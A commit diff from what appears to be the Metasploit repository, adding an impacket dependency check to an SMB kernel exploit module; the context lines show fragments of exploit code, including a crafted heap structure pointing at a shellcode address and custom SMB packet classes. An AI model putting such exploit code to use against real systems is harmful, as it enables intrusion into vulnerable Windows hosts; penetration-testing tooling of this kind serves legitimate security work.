address missed impacket dependency check

GSoC/Meterpreter_Web_Console
Jeffrey Martin 2018-06-21 13:39:43 -05:00
parent a91ad8c09c
commit 2f40b2cb45
No known key found for this signature in database
GPG Key ID: 0CD9BBC2AF15F171
1 changed files with 22 additions and 19 deletions

View File

@ -319,7 +319,8 @@ fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x180) # shellcode addr
def getNTStatus(self):
return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass']
setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus)
if not dependencies_missing:
setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus)
def sendEcho(conn, tid, data):
pkt = smb.NewSMBPacket()
@ -342,7 +343,8 @@ def sendEcho(conn, tid, data):
# override SMB.neg_session() to allow forcing ntlm authentication
class MYSMB(smb.SMB):
if not dependencies_missing:
class MYSMB(smb.SMB):
def __init__(self, remote_host, use_ntlmv2=True):
self.__use_ntlmv2 = use_ntlmv2
smb.SMB.__init__(self, remote_host, remote_host)
@ -412,7 +414,8 @@ def createSessionAllocNonPaged(target, size, username, password):
# Note: impacket-0.9.15 struct has no ParameterDisplacement
############# SMB_COM_TRANSACTION2_SECONDARY (0x33)
class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters):
if not dependencies_missing:
class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters):
structure = (
('TotalParameterCount','<H=0'),
('TotalDataCount','<H'),